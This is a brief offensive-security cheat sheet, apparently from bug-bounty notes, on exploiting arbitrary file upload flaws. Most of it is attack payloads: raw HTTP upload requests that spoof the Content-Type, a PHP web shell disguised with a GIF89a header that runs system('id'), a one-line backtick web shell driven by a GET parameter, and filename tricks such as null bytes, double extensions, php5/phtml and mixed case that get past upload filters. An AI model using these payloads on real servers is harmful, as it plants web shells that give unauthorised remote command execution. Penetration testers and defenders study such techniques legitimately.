# Arbitrary File Upload

## Introduction

An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.

## Where to find

In upload file feature, for example upload photo profile feature

## How to exploit

1. Change the `Content-Type` value

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```

Change the Content-Type

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/jpeg
```

2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
Content-Type: application/x-php
```

Change the request to this

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```

3. Upload the payload, but start with GIF89a; and

```
POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/gif

GIF89a; <?php system("id") ?>
```

And dont forget to change the content-type to image/gif

4. Bypass content length validation, it can be bypassed using small payload

```
(<?=`$_GET[x]`?>)
```

5. Using null byte in filename

```
file.php%00.gif
```

6. Using double extensions for the uploaded file

```
file.jpg.php
```

7. Uploading an unpopular php extensions (php4,php5,php6,phtml)

```
file.php5
```

8. Try to randomly capitalizes the file extension

```
file.pHP5
```

9. Mix the tips!